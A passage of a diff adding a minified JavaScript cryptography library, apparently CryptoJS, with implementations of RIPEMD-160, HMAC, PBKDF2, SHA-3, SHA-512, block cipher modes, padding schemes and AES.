[], o = 0; o < i; o++) n[o >>> 1] |= r(e.charCodeAt(o) << 16 - o % 2 * 16); + return t.create(n, 2 * i) + } + } + }(), function () { + if ("function" == typeof ArrayBuffer) { + var t = mt.lib.WordArray, e = t.init; + (t.init = function (t) { + if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { + for (var r = t.byteLength, i = [], n = 0; n < r; n++) i[n >>> 2] |= t[n] << 24 - n % 4 * 8; + e.call(this, i, r) + } else e.apply(this, arguments) + }).prototype = t + } + }(), Math, h = (a = mt).lib, l = h.WordArray, f = h.Hasher, d = a.algo, u = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), p = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), _ = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), v = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = d.RIPEMD160 = f.extend({ + _doReset: function () { + this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, _doProcessBlock: function (t, e) { + for (var r = 0; r < 16; r++) { + var i = e + r, n = t[i]; + t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) + } + var o, s, c, a, h, l, f, d, B, w, k, S = this._hash.words, m = y.words, x = g.words, b = u.words, + H = p.words, z = _.words, A = v.words; + for (l = o = S[0], f = s = S[1], d = c = S[2], B = a = S[3], w = h = S[4], r = 0; r < 80; r += 1) k = o + t[e + b[r]] | 0, k += r < 16 ? xt(s, c, a) + m[0] : r < 32 ? bt(s, c, a) + m[1] : r < 48 ? Ht(s, c, a) + m[2] : r < 64 ? zt(s, c, a) + m[3] : At(s, c, a) + m[4], k = (k = Ct(k |= 0, z[r])) + h | 0, o = h, h = a, a = Ct(c, 10), c = s, s = k, k = l + t[e + H[r]] | 0, k += r < 16 ? At(f, d, B) + x[0] : r < 32 ? zt(f, d, B) + x[1] : r < 48 ? Ht(f, d, B) + x[2] : r < 64 ? bt(f, d, B) + x[3] : xt(f, d, B) + x[4], k = (k = Ct(k |= 0, A[r])) + w | 0, l = w, w = B, B = Ct(d, 10), d = f, f = k; + k = S[1] + c + B | 0, S[1] = S[2] + a + w | 0, S[2] = S[3] + h + l | 0, S[3] = S[4] + o + f | 0, S[4] = S[0] + s + d | 0, S[0] = k + }, _doFinalize: function () { + var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; + e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = 16711935 & (r << 8 | r >>> 24) | 4278255360 & (r << 24 | r >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); + for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { + var c = o[s]; + o[s] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) + } + return n + }, clone: function () { + var t = f.clone.call(this); + return t._hash = this._hash.clone(), t + } + }), a.RIPEMD160 = f._createHelper(B), a.HmacRIPEMD160 = f._createHmacHelper(B), w = mt.lib.Base, k = mt.enc.Utf8, mt.algo.HMAC = w.extend({ + init: function (t, e) { + t = this._hasher = new t.init, "string" == typeof e && (e = k.parse(e)); + var r = t.blockSize, i = 4 * r; + e.sigBytes > i && (e = t.finalize(e)), e.clamp(); + for (var n = this._oKey = e.clone(), o = this._iKey = e.clone(), s = n.words, c = o.words, a = 0; a < r; a++) s[a] ^= 1549556828, c[a] ^= 909522486; + n.sigBytes = o.sigBytes = i, this.reset() + }, reset: function () { + var t = this._hasher; + t.reset(), t.update(this._iKey) + }, update: function (t) { + return this._hasher.update(t), this + }, finalize: function (t) { + var e = this._hasher, r = e.finalize(t); + return e.reset(), e.finalize(this._oKey.clone().concat(r)) + } + }), x = (m = (S = mt).lib).Base, b = m.WordArray, z = (H = S.algo).SHA1, A = H.HMAC, C = H.PBKDF2 = x.extend({ + cfg: x.extend({ + keySize: 4, + hasher: z, + iterations: 1 + }), init: function (t) { + this.cfg = this.cfg.extend(t) + }, compute: function (t, e) { + for (var r = this.cfg, i = A.create(r.hasher, t), n = b.create(), o = b.create([1]), s = n.words, c = o.words, a = r.keySize, h = r.iterations; s.length < a;) { + var l = i.update(e).finalize(o); + i.reset(); + for (var f = l.words, d = f.length, u = l, p = 1; p < h; p++) { + u = i.finalize(u), i.reset(); + for (var _ = u.words, v = 0; v < d; v++) f[v] ^= _[v] + } + n.concat(l), c[0]++ + } + return n.sigBytes = 4 * a, n + } + }), S.PBKDF2 = function (t, e, r) { + return C.create(r).compute(t, e) + }, R = (E = (D = mt).lib).Base, M = E.WordArray, P = (F = D.algo).MD5, W = F.EvpKDF = R.extend({ + cfg: R.extend({ + keySize: 4, + hasher: P, + iterations: 1 + }), init: function (t) { + this.cfg = this.cfg.extend(t) + }, compute: function (t, e) { + for (var r, i = this.cfg, n = i.hasher.create(), o = M.create(), s = o.words, c = i.keySize, a = i.iterations; s.length < c;) { + r && n.update(r), r = n.update(t).finalize(e), n.reset(); + for (var h = 1; h < a; h++) r = n.finalize(r), n.reset(); + o.concat(r) + } + return o.sigBytes = 4 * c, o + } + }), D.EvpKDF = function (t, e, r) { + return W.create(r).compute(t, e) + }, I = (O = mt).lib.WordArray, U = O.algo, K = U.SHA256, X = U.SHA224 = K.extend({ + _doReset: function () { + this._hash = new I.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) + }, _doFinalize: function () { + var t = K._doFinalize.call(this); + return t.sigBytes -= 4, t + } + }), O.SHA224 = K._createHelper(X), O.HmacSHA224 = K._createHmacHelper(X), L = mt.lib, j = L.Base, N = L.WordArray, (T = mt.x64 = {}).Word = j.extend({ + init: function (t, e) { + this.high = t, this.low = e + } + }), T.WordArray = j.extend({ + init: function (t, e) { + t = this.words = t || [], this.sigBytes = null != e ? e : 8 * t.length + }, toX32: function () { + for (var t = this.words, e = t.length, r = [], i = 0; i < e; i++) { + var n = t[i]; + r.push(n.high), r.push(n.low) + } + return N.create(r, this.sigBytes) + }, clone: function () { + for (var t = j.clone.call(this), e = t.words = this.words.slice(0), r = e.length, i = 0; i < r; i++) e[i] = e[i].clone(); + return t + } + }), function (t) { + var e = mt, r = e.lib, i = r.WordArray, n = r.Hasher, o = e.x64.Word, s = e.algo, c = [], a = [], h = []; + !function () { + for (var t = 1, e = 0, r = 0; r < 24; r++) { + c[t + 5 * e] = (r + 1) * (r + 2) / 2 % 64; + var i = (2 * t + 3 * e) % 5; + t = e % 5, e = i + } + for (t = 0; t < 5; t++) for (e = 0; e < 5; e++) a[t + 5 * e] = e + (2 * t + 3 * e) % 5 * 5; + for (var n = 1, s = 0; s < 24; s++) { + for (var l = 0, f = 0, d = 0; d < 7; d++) { + if (1 & n) { + var u = (1 << d) - 1; + u < 32 ? f ^= 1 << u : l ^= 1 << u - 32 + } + 128 & n ? n = n << 1 ^ 113 : n <<= 1 + } + h[s] = o.create(l, f) + } + }(); + var l = []; + !function () { + for (var t = 0; t < 25; t++) l[t] = o.create() + }(); + var f = s.SHA3 = n.extend({ + cfg: n.cfg.extend({outputLength: 512}), _doReset: function () { + for (var t = this._state = [], e = 0; e < 25; e++) t[e] = new o.init; + this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 + }, _doProcessBlock: function (t, e) { + for (var r = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { + var o = t[e + 2 * n], s = t[e + 2 * n + 1]; + o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), (A = r[n]).high ^= s, A.low ^= o + } + for (var f = 0; f < 24; f++) { + for (var d = 0; d < 5; d++) { + for (var u = 0, p = 0, _ = 0; _ < 5; _++) u ^= (A = r[d + 5 * _]).high, p ^= A.low; + var v = l[d]; + v.high = u, v.low = p + } + for (d = 0; d < 5; d++) { + var y = l[(d + 4) % 5], g = l[(d + 1) % 5], B = g.high, w = g.low; + for (u = y.high ^ (B << 1 | w >>> 31), p = y.low ^ (w << 1 | B >>> 31), _ = 0; _ < 5; _++) (A = r[d + 5 * _]).high ^= u, A.low ^= p + } + for (var k = 1; k < 25; k++) { + var S = (A = r[k]).high, m = A.low, x = c[k]; + p = x < 32 ? (u = S << x | m >>> 32 - x, m << x | S >>> 32 - x) : (u = m << x - 32 | S >>> 64 - x, S << x - 32 | m >>> 64 - x); + var b = l[a[k]]; + b.high = u, b.low = p + } + var H = l[0], z = r[0]; + for (H.high = z.high, H.low = z.low, d = 0; d < 5; d++) for (_ = 0; _ < 5; _++) { + var A = r[k = d + 5 * _], C = l[k], D = l[(d + 1) % 5 + 5 * _], E = l[(d + 2) % 5 + 5 * _]; + A.high = C.high ^ ~D.high & E.high, A.low = C.low ^ ~D.low & E.low + } + A = r[0]; + var R = h[f]; + A.high ^= R.high, A.low ^= R.low + } + }, _doFinalize: function () { + var e = this._data, r = e.words, n = (this._nDataBytes, 8 * e.sigBytes), o = 32 * this.blockSize; + r[n >>> 5] |= 1 << 24 - n % 32, r[(t.ceil((1 + n) / o) * o >>> 5) - 1] |= 128, e.sigBytes = 4 * r.length, this._process(); + for (var s = this._state, c = this.cfg.outputLength / 8, a = c / 8, h = [], l = 0; l < a; l++) { + var f = s[l], d = f.high, u = f.low; + d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), h.push(u), h.push(d) + } + return new i.init(h, c) + }, clone: function () { + for (var t = n.clone.call(this), e = t._state = this._state.slice(0), r = 0; r < 25; r++) e[r] = e[r].clone(); + return t + } + }); + e.SHA3 = n._createHelper(f), e.HmacSHA3 = n._createHmacHelper(f) + }(Math), function () { + var t = mt, e = t.lib.Hasher, r = t.x64, i = r.Word, n = r.WordArray, o = t.algo; + + function s() { + return i.create.apply(i, arguments) + } + + var c = [s(1116352408, 3609767458), s(1899447441, 602891725), s(3049323471, 3964484399), s(3921009573, 2173295548), s(961987163, 4081628472), s(1508970993, 3053834265), s(2453635748, 2937671579), s(2870763221, 3664609560), s(3624381080, 2734883394), s(310598401, 1164996542), s(607225278, 1323610764), s(1426881987, 3590304994), s(1925078388, 4068182383), s(2162078206, 991336113), s(2614888103, 633803317), s(3248222580, 3479774868), s(3835390401, 2666613458), s(4022224774, 944711139), s(264347078, 2341262773), s(604807628, 2007800933), s(770255983, 1495990901), s(1249150122, 1856431235), s(1555081692, 3175218132), s(1996064986, 2198950837), s(2554220882, 3999719339), s(2821834349, 766784016), s(2952996808, 2566594879), s(3210313671, 3203337956), s(3336571891, 1034457026), s(3584528711, 2466948901), s(113926993, 3758326383), s(338241895, 168717936), s(666307205, 1188179964), s(773529912, 1546045734), s(1294757372, 1522805485), s(1396182291, 2643833823), s(1695183700, 2343527390), s(1986661051, 1014477480), s(2177026350, 1206759142), s(2456956037, 344077627), s(2730485921, 1290863460), s(2820302411, 3158454273), s(3259730800, 3505952657), s(3345764771, 106217008), s(3516065817, 3606008344), s(3600352804, 1432725776), s(4094571909, 1467031594), s(275423344, 851169720), s(430227734, 3100823752), s(506948616, 1363258195), s(659060556, 3750685593), s(883997877, 3785050280), s(958139571, 3318307427), s(1322822218, 3812723403), s(1537002063, 2003034995), s(1747873779, 3602036899), s(1955562222, 1575990012), s(2024104815, 1125592928), s(2227730452, 2716904306), s(2361852424, 442776044), s(2428436474, 593698344), s(2756734187, 3733110249), s(3204031479, 2999351573), s(3329325298, 3815920427), s(3391569614, 3928383900), s(3515267271, 566280711), s(3940187606, 3454069534), s(4118630271, 4000239992), s(116418474, 1914138554), s(174292421, 2731055270), s(289380356, 3203993006), s(460393269, 320620315), s(685471733, 587496836), s(852142971, 1086792851), s(1017036298, 365543100), s(1126000580, 2618297676), s(1288033470, 3409855158), s(1501505948, 4234509866), s(1607167915, 987167468), s(1816402316, 1246189591)], + a = []; + !function () { + for (var t = 0; t < 80; t++) a[t] = s() + }(); + var h = o.SHA512 = e.extend({ + _doReset: function () { + this._hash = new n.init([new i.init(1779033703, 4089235720), new i.init(3144134277, 2227873595), new i.init(1013904242, 4271175723), new i.init(2773480762, 1595750129), new i.init(1359893119, 2917565137), new i.init(2600822924, 725511199), new i.init(528734635, 4215389547), new i.init(1541459225, 327033209)]) + }, _doProcessBlock: function (t, e) { + for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], h = r[4], l = r[5], f = r[6], d = r[7], u = i.high, p = i.low, _ = n.high, v = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = h.high, S = h.low, m = l.high, x = l.low, b = f.high, H = f.low, z = d.high, A = d.low, C = u, D = p, E = _, R = v, M = y, F = g, P = B, W = w, O = k, I = S, U = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { + var q, Z, V = a[T]; + if (T < 16) Z = V.high = 0 | t[e + 2 * T], q = V.low = 0 | t[e + 2 * T + 1]; else { + var G = a[T - 15], J = G.high, $ = G.low, + Q = (J >>> 1 | $ << 31) ^ (J >>> 8 | $ << 24) ^ J >>> 7, + Y = ($ >>> 1 | J << 31) ^ ($ >>> 8 | J << 24) ^ ($ >>> 7 | J << 25), tt = a[T - 2], + et = tt.high, rt = tt.low, + it = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ et >>> 6, + nt = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ (rt >>> 6 | et << 26), + ot = a[T - 7], st = ot.high, ct = ot.low, at = a[T - 16], ht = at.high, lt = at.low; + Z = (Z = (Z = Q + st + ((q = Y + ct) >>> 0 < Y >>> 0 ? 1 : 0)) + it + ((q += nt) >>> 0 < nt >>> 0 ? 1 : 0)) + ht + ((q += lt) >>> 0 < lt >>> 0 ? 1 : 0), V.high = Z, V.low = q + } + var ft, dt = O & U ^ ~O & X, ut = I & K ^ ~I & L, pt = C & E ^ C & M ^ E & M, + _t = D & R ^ D & F ^ R & F, + vt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), + yt = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), + gt = (O >>> 14 | I << 18) ^ (O >>> 18 | I << 14) ^ (O << 23 | I >>> 9), + Bt = (I >>> 14 | O << 18) ^ (I >>> 18 | O << 14) ^ (I << 23 | O >>> 9), wt = c[T], + kt = wt.high, St = wt.low, mt = j + gt + ((ft = N + Bt) >>> 0 < N >>> 0 ? 1 : 0), + xt = yt + _t; + j = X, N = L, X = U, L = K, U = O, K = I, O = P + (mt = (mt = (mt = mt + dt + ((ft += ut) >>> 0 < ut >>> 0 ? 1 : 0)) + kt + ((ft += St) >>> 0 < St >>> 0 ? 1 : 0)) + Z + ((ft += q) >>> 0 < q >>> 0 ? 1 : 0)) + ((I = W + ft | 0) >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = E, F = R, E = C, R = D, C = mt + (vt + pt + (xt >>> 0 < yt >>> 0 ? 1 : 0)) + ((D = ft + xt | 0) >>> 0 < ft >>> 0 ? 1 : 0) | 0 + } + p = i.low = p + D, i.high = u + C + (p >>> 0 < D >>> 0 ? 1 : 0), v = n.low = v + R, n.high = _ + E + (v >>> 0 < R >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = h.low = S + I, h.high = k + O + (S >>> 0 < I >>> 0 ? 1 : 0), x = l.low = x + K, l.high = m + U + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = d.low = A + N, d.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) + }, _doFinalize: function () { + var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; + return e[i >>> 5] |= 128 << 24 - i % 32, e[30 + (128 + i >>> 10 << 5)] = Math.floor(r / 4294967296), e[31 + (128 + i >>> 10 << 5)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash.toX32() + }, clone: function () { + var t = e.clone.call(this); + return t._hash = this._hash.clone(), t + }, blockSize: 32 + }); + t.SHA512 = e._createHelper(h), t.HmacSHA512 = e._createHmacHelper(h) + }(), Z = (q = mt).x64, V = Z.Word, G = Z.WordArray, J = q.algo, $ = J.SHA512, Q = J.SHA384 = $.extend({ + _doReset: function () { + this._hash = new G.init([new V.init(3418070365, 3238371032), new V.init(1654270250, 914150663), new V.init(2438529370, 812702999), new V.init(355462360, 4144912697), new V.init(1731405415, 4290775857), new V.init(2394180231, 1750603025), new V.init(3675008525, 1694076839), new V.init(1203062813, 3204075428)]) + }, _doFinalize: function () { + var t = $._doFinalize.call(this); + return t.sigBytes -= 16, t + } + }), q.SHA384 = $._createHelper(Q), q.HmacSHA384 = $._createHmacHelper(Q), mt.lib.Cipher || function () { + var t = mt, e = t.lib, r = e.Base, i = e.WordArray, n = e.BufferedBlockAlgorithm, o = t.enc, + s = (o.Utf8, o.Base64), c = t.algo.EvpKDF, a = e.Cipher = n.extend({ + cfg: r.extend(), createEncryptor: function (t, e) { + return this.create(this._ENC_XFORM_MODE, t, e) + }, createDecryptor: function (t, e) { + return this.create(this._DEC_XFORM_MODE, t, e) + }, init: function (t, e, r) { + this.cfg = this.cfg.extend(r), this._xformMode = t, this._key = e, this.reset() + }, reset: function () { + n.reset.call(this), this._doReset() + }, process: function (t) { + return this._append(t), this._process() + }, finalize: function (t) { + return t && this._append(t), this._doFinalize() + }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function (t) { + return { + encrypt: function (e, r, i) { + return h(r).encrypt(t, e, r, i) + }, decrypt: function (e, r, i) { + return h(r).decrypt(t, e, r, i) + } + } + } + }); + + function h(t) { + return "string" == typeof t ? w : g + } + + e.StreamCipher = a.extend({ + _doFinalize: function () { + return this._process(!0) + }, blockSize: 1 + }); + var l, f = t.mode = {}, d = e.BlockCipherMode = r.extend({ + createEncryptor: function (t, e) { + return this.Encryptor.create(t, e) + }, createDecryptor: function (t, e) { + return this.Decryptor.create(t, e) + }, init: function (t, e) { + this._cipher = t, this._iv = e + } + }), u = f.CBC = ((l = d.extend()).Encryptor = l.extend({ + processBlock: function (t, e) { + var r = this._cipher, i = r.blockSize; + p.call(this, t, e, i), r.encryptBlock(t, e), this._prevBlock = t.slice(e, e + i) + } + }), l.Decryptor = l.extend({ + processBlock: function (t, e) { + var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); + r.decryptBlock(t, e), p.call(this, t, e, i), this._prevBlock = n + } + }), l); + + function p(t, e, r) { + var i, n = this._iv; + n ? (i = n, this._iv = void 0) : i = this._prevBlock; + for (var o = 0; o < r; o++) t[e + o] ^= i[o] + } + + var _ = (t.pad = {}).Pkcs7 = { + pad: function (t, e) { + for (var r = 4 * e, n = r - t.sigBytes % r, o = n << 24 | n << 16 | n << 8 | n, s = [], c = 0; c < n; c += 4) s.push(o); + var a = i.create(s, n); + t.concat(a) + }, unpad: function (t) { + var e = 255 & t.words[t.sigBytes - 1 >>> 2]; + t.sigBytes -= e + } + }, v = (e.BlockCipher = a.extend({ + cfg: a.cfg.extend({mode: u, padding: _}), reset: function () { + var t; + a.reset.call(this); + var e = this.cfg, r = e.iv, i = e.mode; + this._xformMode == this._ENC_XFORM_MODE ? t = i.createEncryptor : (t = i.createDecryptor, this._minBufferSize = 1), this._mode && this._mode.__creator == t ? this._mode.init(this, r && r.words) : (this._mode = t.call(i, this, r && r.words), this._mode.__creator = t) + }, _doProcessBlock: function (t, e) { + this._mode.processBlock(t, e) + }, _doFinalize: function () { + var t, e = this.cfg.padding; + return this._xformMode == this._ENC_XFORM_MODE ? (e.pad(this._data, this.blockSize), t = this._process(!0)) : (t = this._process(!0), e.unpad(t)), t + }, blockSize: 4 + }), e.CipherParams = r.extend({ + init: function (t) { + this.mixIn(t) + }, toString: function (t) { + return (t || this.formatter).stringify(this) + } + })), y = (t.format = {}).OpenSSL = { + stringify: function (t) { + var e = t.ciphertext, r = t.salt; + return (r ? i.create([1398893684, 1701076831]).concat(r).concat(e) : e).toString(s) + }, parse: function (t) { + var e, r = s.parse(t), n = r.words; + return 1398893684 == n[0] && 1701076831 == n[1] && (e = i.create(n.slice(2, 4)), n.splice(0, 4), r.sigBytes -= 16), v.create({ + ciphertext: r, + salt: e + }) + } + }, g = e.SerializableCipher = r.extend({ + cfg: r.extend({format: y}), encrypt: function (t, e, r, i) { + i = this.cfg.extend(i); + var n = t.createEncryptor(r, i), o = n.finalize(e), s = n.cfg; + return v.create({ + ciphertext: o, + key: r, + iv: s.iv, + algorithm: t, + mode: s.mode, + padding: s.padding, + blockSize: t.blockSize, + formatter: i.format + }) + }, decrypt: function (t, e, r, i) { + return i = this.cfg.extend(i), e = this._parse(e, i.format), t.createDecryptor(r, i).finalize(e.ciphertext) + }, _parse: function (t, e) { + return "string" == typeof t ? e.parse(t, this) : t + } + }), B = (t.kdf = {}).OpenSSL = { + execute: function (t, e, r, n) { + n = n || i.random(8); + var o = c.create({keySize: e + r}).compute(t, n), s = i.create(o.words.slice(e), 4 * r); + return o.sigBytes = 4 * e, v.create({key: o, iv: s, salt: n}) + } + }, w = e.PasswordBasedCipher = g.extend({ + cfg: g.cfg.extend({kdf: B}), encrypt: function (t, e, r, i) { + var n = (i = this.cfg.extend(i)).kdf.execute(r, t.keySize, t.ivSize); + i.iv = n.iv; + var o = g.encrypt.call(this, t, e, n.key, i); + return o.mixIn(n), o + }, decrypt: function (t, e, r, i) { + i = this.cfg.extend(i), e = this._parse(e, i.format); + var n = i.kdf.execute(r, t.keySize, t.ivSize, e.salt); + return i.iv = n.iv, g.decrypt.call(this, t, e, n.key, i) + } + }) + }(), mt.mode.CFB = ((Y = mt.lib.BlockCipherMode.extend()).Encryptor = Y.extend({ + processBlock: function (t, e) { + var r = this._cipher, i = r.blockSize; + Dt.call(this, t, e, i, r), this._prevBlock = t.slice(e, e + i) + } + }), Y.Decryptor = Y.extend({ + processBlock: function (t, e) { + var r = this._cipher, i = r.blockSize, n = t.slice(e, e + i); + Dt.call(this, t, e, i, r), this._prevBlock = n + } + }), Y), mt.mode.ECB = ((tt = mt.lib.BlockCipherMode.extend()).Encryptor = tt.extend({ + processBlock: function (t, e) { + this._cipher.encryptBlock(t, e) + } + }), tt.Decryptor = tt.extend({ + processBlock: function (t, e) { + this._cipher.decryptBlock(t, e) + } + }), tt), mt.pad.AnsiX923 = { + pad: function (t, e) { + var r = t.sigBytes, i = 4 * e, n = i - r % i, o = r + n - 1; + t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n + }, unpad: function (t) { + var e = 255 & t.words[t.sigBytes - 1 >>> 2]; + t.sigBytes -= e + } + }, mt.pad.Iso10126 = { + pad: function (t, e) { + var r = 4 * e, i = r - t.sigBytes % r; + t.concat(mt.lib.WordArray.random(i - 1)).concat(mt.lib.WordArray.create([i << 24], 1)) + }, unpad: function (t) { + var e = 255 & t.words[t.sigBytes - 1 >>> 2]; + t.sigBytes -= e + } + }, mt.pad.Iso97971 = { + pad: function (t, e) { + t.concat(mt.lib.WordArray.create([2147483648], 1)), mt.pad.ZeroPadding.pad(t, e) + }, unpad: function (t) { + mt.pad.ZeroPadding.unpad(t), t.sigBytes-- + } + }, mt.mode.OFB = (rt = (et = mt.lib.BlockCipherMode.extend()).Encryptor = et.extend({ + processBlock: function (t, e) { + var r = this._cipher, i = r.blockSize, n = this._iv, o = this._keystream; + n && (o = this._keystream = n.slice(0), this._iv = void 0), r.encryptBlock(o, 0); + for (var s = 0; s < i; s++) t[e + s] ^= o[s] + } + }), et.Decryptor = rt, et), mt.pad.NoPadding = { + pad: function () { + }, unpad: function () { + } + }, it = mt.lib.CipherParams, nt = mt.enc.Hex, mt.format.Hex = { + stringify: function (t) { + return t.ciphertext.toString(nt) + }, parse: function (t) { + var e = nt.parse(t); + return it.create({ciphertext: e}) + } + }, function () { + var t = mt, e = t.lib.BlockCipher, r = t.algo, i = [], n = [], o = [], s = [], c = [], a = [], h = [], + l = [], f = [], d = []; + !function () { + for (var t = [], e = 0; e < 256; e++) t[e] = e < 128 ? e << 1 : e << 1 ^ 283; + var r = 0, u = 0; + for (e = 0; e < 256; e++) { + var p = u ^ u << 1 ^ u << 2 ^ u << 3 ^ u << 4; + p = p >>> 8 ^ 255 & p ^ 99, i[r] = p; + var _ = t[n[p] = r], v = t[_], y = t[v], g = 257 * t[p] ^ 16843008 * p; + o[r] = g << 24 | g >>> 8, s[r] = g << 16 | g >>> 16, c[r] = g << 8 | g >>> 24, a[r] = g, g = 16843009 * y ^ 65537 * v ^ 257 * _ ^ 16843008 * r, h[p] = g << 24 | g >>> 8, l[p] = g << 16 | g >>> 16, f[p] = g << 8 | g >>> 24, d[p] = g, r ? (r = _ ^ t[t[t[y ^ _]]], u ^= t[t[u]]) : r = u = 1 + } + }(); + var u = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], p = r.AES = e.extend({ + _doReset: function () { + if (!this._nRounds || this._keyPriorReset !== this._key) { + for (var t = this._keyPriorReset = this._key, e = t.words, r = t.sigBytes / 4, n = 4 * (1 + (this._nRounds = 6 + r)), o = this._keySchedule = [], s = 0; s < n; s++) s < r ? o[s] = e[s] : (p = o[s - 1], s % r ? 6 < r && s % r == 4 && (p = i[p >>> 24] << 24 | i[p >>> 16 & 255] << 16 | i[p >>> 8 & 255] << 8 | i[255 & p]) : (p = i[(p = p << 8 | p >>> 24) >>> 24] << 24 | i[p >>> 16 & 255] << 16 | i[p >>> 8 & 255] << 8 | i[255 & p], p ^= u[s / r | 0] << 24), o[s] = o[s - r] ^ p); + for (var c = this._invKeySchedule = [], a = 0; a < n; a++) { + if (s = n - a, a % 4) var p = o[s]; else p = o[s - 4]; + c[a] = a < 4 || s <= 4 ? p : h[i[p >>> 24]] ^ l[i[p >>> 16 & 255]] ^ f[i[p >>> 8 & 255]] ^ d[i[255 & p]] + } + } + }, encryptBlock: function (t, e) { + this._doCryptBlock(t, e, this._keySchedule, o, s, c, a, i) + }, decryptBlock: function (t, e) { + var r = t[e + 1]; + t[e + 1] = t[e + 3], t[e + 3] = r, this._doCryptBlock(t, e, this._invKeySchedule, h, l, f, d, n), r = t[e + 1], t[e + 1] = t[e + 3], t[e + 3] = r + }, _doCryptBlock: function (t, e, r, i, n, o, s, c) { + for (var a = this._nRounds, h = t[e] ^ r[0], l = t[e + 1] ^ r[1], f = t[e + 2] ^ r[2], d = t[e + 3] ^ r[3], u = 4, p = 1; p < a; p++) { + var _ = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & d] ^ r[u++], + v = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[d >>> 8 & 255] ^ s[255 & h] ^ r[u++], + y = i[f >>> 24] ^ n[d >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ r[u++], + g = i[d >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ r[u++]; + h = _, l = v, f = y, d = g + } + _ = (c[h >>> 24] << 24 | c[l >>> 16 & 255] << 16 | c[f >>> 8 & 255] << 8 | c[255 & d]) ^ r[u++], v = (c[l >>> 24] << 24 | c[f >>> 16 & 255] << 16 | c[d >>> 8 & 255] << 8 | c[255 & h]) ^ r[u++], y = (c[f >>> 24] << 24 | c[d >>> 16 & 255] << 